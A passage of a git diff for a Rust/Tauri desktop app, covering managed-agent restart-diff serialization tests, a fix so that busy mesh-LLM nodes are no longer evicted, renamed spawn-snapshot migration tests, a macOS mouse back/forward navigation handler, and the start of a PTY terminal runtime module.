custom` entries; populated from + /// `HarnessDefinition.env` so saves don't silently erase existing vars. + /// Absent for builtin/preset entries. Skipped when empty in serialization. #[serde(default, skip_serializing_if = "BTreeMap::is_empty")] pub definition_env: BTreeMap, + /// Spawn-time parallelism cap; absent for uncapped harnesses. + #[serde(skip_serializing_if = "Option::is_none")] + pub max_parallelism: Option, } /// Result of a single install step (CLI or adapter). diff --git a/desktop/src-tauri/src/managed_agents/types/tests.rs b/desktop/src-tauri/src/managed_agents/types/tests.rs index 96ed556068..1db7b9b524 100644 --- a/desktop/src-tauri/src/managed_agents/types/tests.rs +++ b/desktop/src-tauri/src/managed_agents/types/tests.rs @@ -694,3 +694,93 @@ fn mint_rejects_out_of_range_input_parallelism() { "input-branch error must not blame the definition: {err}" ); } + +// ── Restart-diff wire shape ───────────────────────────────────────────────── + +fn summary_fixture( + restart_diff: Vec, +) -> super::ManagedAgentSummary { + super::ManagedAgentSummary { + pubkey: "aa".repeat(32), + name: "test".into(), + persona_id: None, + runtime: None, + team_id: None, + relay_url: String::new(), + acp_command: "buzz-acp".into(), + agent_command: "goose".into(), + agent_command_override: None, + agent_args: Vec::new(), + mcp_command: String::new(), + turn_timeout_seconds: 320, + idle_timeout_seconds: None, + max_turn_duration_seconds: None, + parallelism: 1, + system_prompt: None, + avatar_url: None, + model: None, + model_source: None, + provider: None, + persona_out_of_date: false, + persona_orphaned: false, + // Both fields derive from one vector in `build_managed_agent_summary`; + // the fixture reproduces that rule rather than letting them disagree. + needs_restart: !restart_diff.is_empty(), + restart_diff, + env_vars: Default::default(), + backend: super::BackendKind::Local, + backend_agent_id: None, + status: "running".into(), + pid: Some(4242), + created_at: "2026-01-01T00:00:00Z".into(), + updated_at: "2026-01-01T00:00:00Z".into(), + last_started_at: None, + last_stopped_at: None, + last_exit_code: None, + last_error: None, + last_error_code: None, + start_on_app_launch: false, + auto_restart_on_config_change: false, + log_path: String::new(), + respond_to: RespondTo::OwnerOnly, + respond_to_allowlist: Vec::new(), + } +} + +#[test] +fn summary_without_drift_omits_restart_diff_from_the_wire() { + // An adopted `runtime_pid`-only process is never stamped, so its summary + // carries an empty vector. `skip_serializing_if` must then drop the key + // entirely — the frontend normalizes omission to `[]`, and emitting an + // empty array on every stopped agent would bloat every list response. + let wire = serde_json::to_value(summary_fixture(Vec::new())).expect("summary serializes"); + assert_eq!(wire.get("needs_restart"), Some(&serde_json::json!(false))); + assert!( + wire.get("restart_diff").is_none(), + "empty restart_diff must be omitted, got: {wire}" + ); +} + +#[test] +fn summary_with_drift_serializes_restart_diff_entries() { + // The other side of the same rule: a present entry must reach the wire + // under its snake_case key with the tagged change payload intact. + let wire = serde_json::to_value(summary_fixture(vec![ + crate::managed_agents::spawn_snapshot::RestartDiffEntry { + field: "model".into(), + change: crate::managed_agents::spawn_snapshot::diff::RestartChange::Value { + before: serde_json::json!("gpt-5"), + after: serde_json::json!("claude-4"), + }, + }, + ])) + .expect("summary serializes"); + assert_eq!(wire.get("needs_restart"), Some(&serde_json::json!(true))); + assert_eq!( + wire.get("restart_diff"), + Some(&serde_json::json!([{ + "field": "model", + "change": { "kind": "value", "before": "gpt-5", "after": "claude-4" }, + }])) + ); +} diff --git a/desktop/src-tauri/src/mesh_llm/recovery.rs b/desktop/src-tauri/src/mesh_llm/recovery.rs index 89ca6396e9..7933fd291e 100644 --- a/desktop/src-tauri/src/mesh_llm/recovery.rs +++ b/desktop/src-tauri/src/mesh_llm/recovery.rs @@ -149,8 +149,25 @@ fn should_evict_after_probe( probe: MeshIngressProbe, consecutive: u32, ) -> bool { - urgency == MeshRecoveryUrgency::Foreground && probe == MeshIngressProbe::PortClosed - || consecutive >= DEAD_PROBE_EVICT_THRESHOLD + // Only a CLOSED port is evidence of death. A bound-but-HTTP-unresponsive + // port ("Unhealthy") is a BUSY node, not a dead one: mesh serializes all + // HTTP on the ingress — including the `/v1/models` liveness probe — behind + // in-flight inference, so a large-prompt turn on a big model leaves the + // control plane unresponsive for the whole turn (measured ~27s on a + // gemma-4-26B node) while TCP-connect keeps answering in ~0ms. Model load + // and package-layer download are unresponsive in exactly the same way. + // Evicting on any of those turns ordinary backpressure into a destructive + // whole-app restart loop, which is the regression this fixes. A genuinely + // wedged bound port cannot be distinguished from a busy one without a + // lock-free health endpoint on the ingress (tracked upstream in mesh-llm); + // until that exists we never evict a bound port and rely solely on the + // unambiguous closed-port signal. + match probe { + MeshIngressProbe::Live | MeshIngressProbe::Unhealthy => false, + MeshIngressProbe::PortClosed => { + urgency == MeshRecoveryUrgency::Foreground || consecutive >= DEAD_PROBE_EVICT_THRESHOLD + } + } } fn requires_process_restart( @@ -160,10 +177,11 @@ fn requires_process_restart( startup_in_progress || mode == crate::mesh_llm::MeshNodeMode::Serve } -/// Probe and, when justified, remove one stale runtime. A closed port is -/// decisive for a foreground agent start; watchdog and ambiguous/unhealthy -/// ports require consecutive failures to avoid restarting on a transient load -/// spike. +/// Probe and, when justified, remove one stale runtime. Only a CLOSED port is +/// treated as death: a foreground agent start evicts immediately, the watchdog +/// after a short consecutive-failure streak. A bound-but-unresponsive +/// ("Unhealthy") port is never evicted — it is a busy or still-loading node, +/// not a dead one (see `should_evict_after_probe`). pub(crate) async fn recover_stale_mesh_runtime( state: &AppState, urgency: MeshRecoveryUrgency, @@ -490,6 +508,89 @@ mod tests { )); } + #[test] + fn watchdog_closed_port_still_evicts_after_consecutive_streak() { + // A genuinely dead listener (crashed / released its port) must still be + // reclaimed — the closed-port signal is unchanged by this fix. + assert!(!should_evict_after_probe( + MeshRecoveryUrgency::Watchdog, + MeshIngressProbe::PortClosed, + 1 + )); + assert!(should_evict_after_probe( + MeshRecoveryUrgency::Watchdog, + MeshIngressProbe::PortClosed, + DEAD_PROBE_EVICT_THRESHOLD + )); + } + + #[test] + fn busy_or_loading_bound_port_is_never_evicted() { + // The regression this fixes: mesh serializes all ingress HTTP (incl. + // the `/v1/models` liveness probe) behind in-flight inference, so a + // large-prompt turn, a model load, or a layer download leaves the port + // bound-but-unresponsive ("Unhealthy"). No probe streak, and no + // urgency, may evict such a node — doing so restarts a node that is + // alive and working. + for consecutive in [1, 2, 5, 100] { + for urgency in [ + MeshRecoveryUrgency::Watchdog, + MeshRecoveryUrgency::Foreground, + ] { + assert!( + !should_evict_after_probe(urgency, MeshIngressProbe::Unhealthy, consecutive), + "a bound-but-busy port must never evict (urgency={urgency:?}, \ + consecutive={consecutive})" + ); + } + } + } + + #[test] + fn long_model_load_never_reaches_the_restart_path() { + // Pins the exact false positive this fix removes. A big model stays + // bound-but-unresponsive for MINUTES while it loads weights and + // downloads package layers, so the watchdog sees an unbroken run of + // `Unhealthy` probes. Walk ~5 minutes of watchdog passes at its 15s + // base interval and assert the eviction gate stays shut the whole way + // — for a serve node, one `true` here is a whole-app restart. + let state = MeshRecoveryState::default(); + let runtime_id = 42; + let passes = (5 * 60) / 15; + + for pass in 1..=passes { + let consecutive = state.record_dead_probe(runtime_id); + // The streak really does climb — the non-eviction below is the + // rule refusing to act, not the counter quietly resetting. + assert_eq!( + consecutive, pass, + "probe streak should keep climbing across a long load" + ); + for urgency in [ + MeshRecoveryUrgency::Watchdog, + MeshRecoveryUrgency::Foreground, + ] { + assert!( + !should_evict_after_probe(urgency, MeshIngressProbe::Unhealthy, consecutive), + "a still-loading node must never be evicted \ + (urgency={urgency:?}, minute={}, streak={consecutive})", + pass * 15 / 60 + ); + } + } + + // Sanity: the streak blew far past the threshold that used to evict, + // so the old logic WOULD have restarted this healthy loading node. + assert!( + passes >= DEAD_PROBE_EVICT_THRESHOLD, + "test must exceed the old eviction threshold to be meaningful" + ); + + // Once the load finishes and the ingress answers, the streak clears. + state.reset_probe_streak(); + assert_eq!(state.record_dead_probe(runtime_id), 1); + } + #[test] fn probe_streak_is_scoped_to_runtime_identity() { let state = MeshRecoveryState::default(); @@ -570,4 +671,39 @@ mod tests { ); assert!(!"user note: shared compute config".starts_with(MESH_REARM_ERROR_SENTINEL)); } + + // Black-box proof of the classification the eviction rule stands on. A + // mesh node busy in inference (or loading, or downloading) keeps its + // ingress TCP port accepting connections in ~0ms while HTTP does not answer + // within the probe timeout — measured directly against a gemma-4-26B node: + // a concurrent `/v1/models` took ~27s, queued behind one in-flight turn. + // This stands up exactly that shape — a listener that accepts then never + // replies — and asserts the probe reads `Unhealthy` (busy), the verdict + // `should_evict_after_probe` now refuses to evict on. If this regressed to + // `PortClosed`, a busy node would again be misread as dead and restarted. + #[tokio::test] + async fn bound_but_stalled_http_classifies_as_unhealthy_not_closed() { + let listener = tokio::net::TcpListener::bind("127.0.0.1:0") + .await + .expect("bind ephemeral port"); + let port = listener.local_addr().unwrap().port(); + // Accept and hold connections open without ever writing a response — + // the wire-level equivalent of a node serializing HTTP behind a turn. + let accept_task = tokio::spawn(async move { + let mut held = Vec::new(); + while let Ok((stream, _)) = listener.accept().await { + held.push(stream); // keep the socket open, never respond + } + }); + + let probe = probe_mesh_ingress_at(&format!("http://127.0.0.1:{port}/v1")).await; + accept_task.abort(); + + assert_eq!( + probe, + MeshIngressProbe::Unhealthy, + "a TCP-bound port that stalls HTTP (a busy/loading node) must read \ + Unhealthy, never PortClosed — the eviction fix depends on this" + ); + } } diff --git a/desktop/src-tauri/src/migration/backfill.rs b/desktop/src-tauri/src/migration/backfill.rs index cd62f63bbb..74cef7ffe6 100644 --- a/desktop/src-tauri/src/migration/backfill.rs +++ b/desktop/src-tauri/src/migration/backfill.rs @@ -26,7 +26,7 @@ use crate::managed_agents::{ /// `unwrap_or_default`, env COPIED so later instances inherit a working /// config, quad copied to the definition defaults) and the record gains /// `persona_source_version` = the new definition's content hash, so -/// neither `spawn_config_hash` nor the drift badge moves. +/// neither the spawn-config snapshot nor the drift badge moves. /// /// The manufactured definition's slug is the agent's pubkey: 64-hex passes /// the NIP-AP slug grammar on both relay and desktop ends, and agent pubkeys diff --git a/desktop/src-tauri/src/migration/backfill_tests.rs b/desktop/src-tauri/src/migration/backfill_tests.rs index 5d52d56678..d277a2aa5f 100644 --- a/desktop/src-tauri/src/migration/backfill_tests.rs +++ b/desktop/src-tauri/src/migration/backfill_tests.rs @@ -1,5 +1,5 @@ use super::backfill_standalone_agents_in_dir; -use crate::managed_agents::spawn_hash::spawn_config_hash; +use crate::managed_agents::spawn_snapshot::prospective_spawn_config_snapshot; use crate::managed_agents::{AgentDefinition, ManagedAgentRecord}; use crate::migration::test_support::{read_agents_json, write_agents_json}; use std::path::Path; @@ -116,11 +116,11 @@ fn backfilled_definition_carries_prompt_present_even_if_empty() { } #[test] -fn backfill_of_promptless_record_keeps_spawn_hash_stable() { - // B5 hash row 2: pre-backfill the record hashes prompt None; post-backfill +fn backfill_of_promptless_record_keeps_spawn_snapshot_stable() { + // B5 drift row 2: pre-backfill the record snapshots prompt None; post-backfill // the prospective re-snapshot pulls Some("") from the manufactured // definition. The spawn layer treats an empty prompt as no prompt (env - // absent either way), so the hash must not move — otherwise every + // absent either way), so the snapshot must not move — otherwise every // prompt-less standalone agent lights the restart badge on upgrade. let dir = tempfile::tempdir().unwrap(); let pubkey = "c".repeat(64); @@ -131,7 +131,7 @@ fn backfill_of_promptless_record_keeps_spawn_hash_stable() { let pre_records = load_typed(dir.path()); let pre_instance = pre_records.iter().find(|r| !r.pubkey.is_empty()).unwrap(); - let hash_before = spawn_config_hash( + let before = prospective_spawn_config_snapshot( pre_instance, &[], &[], @@ -147,7 +147,7 @@ fn backfill_of_promptless_record_keeps_spawn_hash_stable() { .iter() .filter_map(|r| r.to_definition_view()) .collect(); - let hash_after = spawn_config_hash( + let after = prospective_spawn_config_snapshot( post_instance, &personas, &[], @@ -156,15 +156,16 @@ fn backfill_of_promptless_record_keeps_spawn_hash_stable() { ); assert_eq!( - hash_before, hash_after, + before.canonical(), + after.canonical(), "backfill must not flip the restart badge for prompt-less agents" ); } #[test] -fn backfill_of_prompted_record_keeps_spawn_hash_stable() { +fn backfill_of_prompted_record_keeps_spawn_snapshot_stable() { // The general no-behavior-change rail: a standalone agent WITH config - // must also hash identically across backfill (the definition snapshots + // must also snapshot identically across backfill (the definition snapshots // the record's own values, so the re-snapshot writes back what is // already there). let dir = tempfile::tempdir().unwrap(); @@ -180,7 +181,7 @@ fn backfill_of_prompted_record_keeps_spawn_hash_stable() { let pre_records = load_typed(dir.path()); let pre_instance = pre_records.iter().find(|r| !r.pubkey.is_empty()).unwrap(); - let hash_before = spawn_config_hash( + let before = prospective_spawn_config_snapshot( pre_instance, &[], &[], @@ -196,7 +197,7 @@ fn backfill_of_prompted_record_keeps_spawn_hash_stable() { .iter() .filter_map(|r| r.to_definition_view()) .collect(); - let hash_after = spawn_config_hash( + let after = prospective_spawn_config_snapshot( post_instance, &personas, &[], @@ -204,7 +205,7 @@ fn backfill_of_prompted_record_keeps_spawn_hash_stable() { &Default::default(), ); - assert_eq!(hash_before, hash_after); + assert_eq!(before.canonical(), after.canonical()); } #[test] diff --git a/desktop/src-tauri/src/migration/materialize.rs b/desktop/src-tauri/src/migration/materialize.rs index 5930920dd2..6ca23200e6 100644 --- a/desktop/src-tauri/src/migration/materialize.rs +++ b/desktop/src-tauri/src/migration/materialize.rs @@ -15,8 +15,8 @@ use super::{canonical_dev_data_dir, load_persona_runtimes, patch_json_records}; /// persona (unified agent model, Phase 1A). After this, spawn resolution reads /// the record's own runtime (`record_agent_command` step 2) instead of the /// live persona — same effective command by construction, so the spawn-config -/// hash is unchanged and no running agent shows a spurious restart badge (see -/// `spawn_hash::tests::materializing_runtime_keeps_hash_stable`). +/// snapshot is unchanged and no running agent shows a spurious restart badge +/// (see `spawn_snapshot::tests::materializing_runtime_keeps_snapshot_stable`). /// /// Idempotent: records that already carry `runtime` are untouched, as are /// records with no linked persona or a persona without a runtime (both keep diff --git a/desktop/src-tauri/src/mouse_nav.rs b/desktop/src-tauri/src/mouse_nav.rs new file mode 100644 index 0000000000..cd729f7304 --- /dev/null +++ b/desktop/src-tauri/src/mouse_nav.rs @@ -0,0 +1,142 @@ +//! Native macOS handler for back/forward navigation inputs (mouse X1/X2 +//! buttons and horizontal swipe gestures). +//! +//! WKWebView never delivers these inputs to the web content layer, so a DOM +//! listener can't see them (Safari itself handles them natively in the app +//! layer, not in the page). This module installs an NSEvent local monitor +//! and emits a `mouse-nav` Tauri event that `useBackForwardControls` acts on +//! in the frontend. Two event shapes map to navigation: +//! +//! - `otherMouseUp` with button 3/4 — mice whose X1/X2 buttons reach the app +//! as plain mouse buttons. +//! - `swipe` with a horizontal delta — AppKit's page-swipe gesture +//! (`swipeWithEvent:`): `deltaX > 0` is back, `deltaX < 0` is forward. +//! Sent by mouse drivers that synthesize a page-swipe gesture for the +//! back/forward buttons instead of button-3/4 events (the hardware this +//! was verified on). Stock Apple trackpad and Magic Mouse swipes arrive +//! as phased scroll-wheel events instead, which this module does not +//! handle — that path (`ScrollWheel` + `trackSwipeEventWithOptions:`, +//! which also needs scroll-edge detection) is a follow-up. +//! +//! Compiled macOS-only (via `tray_menu`). Non-macOS X1/X2 behavior is left +//! to the underlying webview. + +/// Maps an `otherMouseUp` button number to a navigation direction. +/// Buttons 3 and 4 are X1 (back) and X2 (forward). +fn direction_for_button(button: isize) -> Option<&'static str> { + match button { + 3 => Some("back"), + 4 => Some("forward"), + _ => None, + } +} + +/// Maps a swipe gesture's horizontal delta to a navigation direction, +/// following the AppKit `swipeWithEvent:` convention: positive is back, +/// negative is forward. A swipe arrives as a begin/end pair and only the +/// end event carries the direction, so `deltaX == 0` maps to `None`. +fn direction_for_swipe(delta_x: f64) -> Option<&'static str> { + if delta_x > 0.0 { + Some("back") + } else if delta_x < 0.0 { + Some("forward") + } else { + None + } +} + +pub fn init(app_handle: &tauri::AppHandle) { + use block2::RcBlock; + use objc2_app_kit::{NSEvent, NSEventMask, NSEventType}; + use tauri::Emitter; + + let app = app_handle.clone(); + let block = RcBlock::new(move |event: std::ptr::NonNull| -> *mut NSEvent { + // SAFETY: the monitor hands us a valid NSEvent for the matched mask. + let ev = unsafe { event.as_ref() }; + + match ev.r#type() { + NSEventType::OtherMouseUp => { + if let Some(direction) = direction_for_button(ev.buttonNumber()) { + // Emit to the main window explicitly instead of + // broadcasting (`emit`) so navigation stays scoped if + // multi-window ever lands. "main" is the default label + // for the single configured window (see deep_link.rs). + let _ = app.emit_to("main", "mouse-nav", direction); + // Swallow the release: nothing downstream should also act + // on it. The matching press deliberately passes through: + // WKWebView never delivers X1/X2 to the page, so the + // unmatched down is inert, and swallowing presses risks + // interfering with AppKit behaviors keyed off mouse-down. + return std::ptr::null_mut(); + } + } + NSEventType::Swipe => { + if let Some(direction) = direction_for_swipe(ev.deltaX()) { + let _ = app.emit_to("main", "mouse-nav", direction); + } + // Pass swipes through: nothing else navigates on them, and + // swallowing mid-gesture events could confuse AppKit's + // gesture tracking. + } + _ => {} + } + + event.as_ptr() + }); + + // SAFETY: the block returns either null or the pointer it was given, both + // valid per the monitor contract. The returned monitor token is + // deliberately leaked: the monitor must live for the whole app lifetime. + let monitor = unsafe { + NSEvent::addLocalMonitorForEventsMatchingMask_handler( + NSEventMask::OtherMouseUp | NSEventMask::Swipe, + &block, + ) + }; + + if let Some(monitor) = monitor { + std::mem::forget(monitor); + } else { + eprintln!("buzz-desktop: mouse-nav: failed to install NSEvent monitor"); + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn button_3_is_back() { + assert_eq!(direction_for_button(3), Some("back")); + } + + #[test] + fn button_4_is_forward() { + assert_eq!(direction_for_button(4), Some("forward")); + } + + #[test] + fn other_buttons_do_not_navigate() { + for button in [0, 1, 2, 5, -1] { + assert_eq!(direction_for_button(button), None); + } + } + + #[test] + fn positive_swipe_delta_is_back() { + assert_eq!(direction_for_swipe(1.0), Some("back")); + assert_eq!(direction_for_swipe(0.5), Some("back")); + } + + #[test] + fn negative_swipe_delta_is_forward() { + assert_eq!(direction_for_swipe(-1.0), Some("forward")); + assert_eq!(direction_for_swipe(-0.5), Some("forward")); + } + + #[test] + fn zero_delta_swipe_begin_event_is_ignored() { + assert_eq!(direction_for_swipe(0.0), None); + } +} diff --git a/desktop/src-tauri/src/shutdown.rs b/desktop/src-tauri/src/shutdown.rs index 95f9efc3c5..efd88f3cac 100644 --- a/desktop/src-tauri/src/shutdown.rs +++ b/desktop/src-tauri/src/shutdown.rs @@ -19,6 +19,8 @@ pub(crate) fn shut_down_app(app: &tauri::AppHandle, shutdown_done: &std::sync::a .store(true, Ordering::SeqCst); if !shutdown_done.swap(true, Ordering::SeqCst) { prevent_sleep::release(&app.state::().prevent_sleep); + app.state::() + .shutdown_all(); if let Err(error) = shutdown_managed_agents(app) { eprintln!("buzz-desktop: failed to stop managed agents: {error}"); } @@ -40,6 +42,8 @@ pub(crate) fn install_signal_handler( .shutdown_started .store(true, Ordering::SeqCst); if !shutdown_done.swap(true, Ordering::SeqCst) { + app.state::() + .shutdown_all(); let _ = shutdown_managed_agents(&app); #[cfg(feature = "mesh-llm")] shutdown_mesh_runtime(&app); diff --git a/desktop/src-tauri/src/terminal_runtime.rs b/desktop/src-tauri/src/terminal_runtime.rs new file mode 100644 index 0000000000..87f969592d --- /dev/null +++ b/desktop/src-tauri/src/terminal_runtime.rs @@ -0,0 +1,984 @@ +//! Rust-owned PTY sessions and the typed Tauri transport for Buzz Substrate. + +use std::io::{Read, Write}; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::{Arc, Mutex}; +use std::thread::JoinHandle; + +use buzz_terminal::context::{context_vars, GuiContext}; +use buzz_terminal::damage::{Frame, Style}; +use buzz_terminal::{Fences, SharedTerminal, Size, Terminal, Viewport}; +use portable_pty::{native_pty_system, CommandBuilder, MasterPty, PtySize}; +use serde::{Deserialize, Serialize}; +use tauri::ipc::Channel; +use uuid::Uuid; + +use crate::terminal_transport::{FramePublisher, OfferError, Publication, SubscriptionId}; + +mod scroll_sign; + +use scroll_sign::{scroll_by_dom_lines, DomLines}; + +const MAX_LIVE_SESSIONS: usize = 20; +const MAX_INPUT_BYTES: usize = 1024 * 1024; + +type Result = std::result::Result; + +#[derive(Debug, Deserialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct AttachRequest { + /// Present when a renderer remounts onto an existing PTY-backed tab. + session_id: Option, + channel_id: String, + channel_name: String, + thread_id: Option, + npub: String, + relay_url: String, + columns: u16, + rows: u16, + pixel_width: u16, + pixel_height: u16, +} + +#[derive(Debug, Clone, Copy, Deserialize, Serialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub(crate) struct WireViewport { + generation: u64, + columns: usize, + screen_lines: usize, +} + +impl From for WireViewport { + fn from(value: Viewport) -> Self { + Self { + generation: value.generation, + columns: value.columns, + screen_lines: value.screen_lines, + } + } +} + +impl From for Viewport { + fn from(value: WireViewport) -> Self { + Self { + generation: value.generation, + columns: value.columns, + screen_lines: value.screen_lines, + } + } +} + +#[derive(Debug, Serialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct AttachResponse { + session_id: String, + subscription_id: String, + viewport: WireViewport, +} + +#[derive(Debug, Serialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct WireStyle { + fg: u32, + bg: u32, + flags: u16, +} + +impl From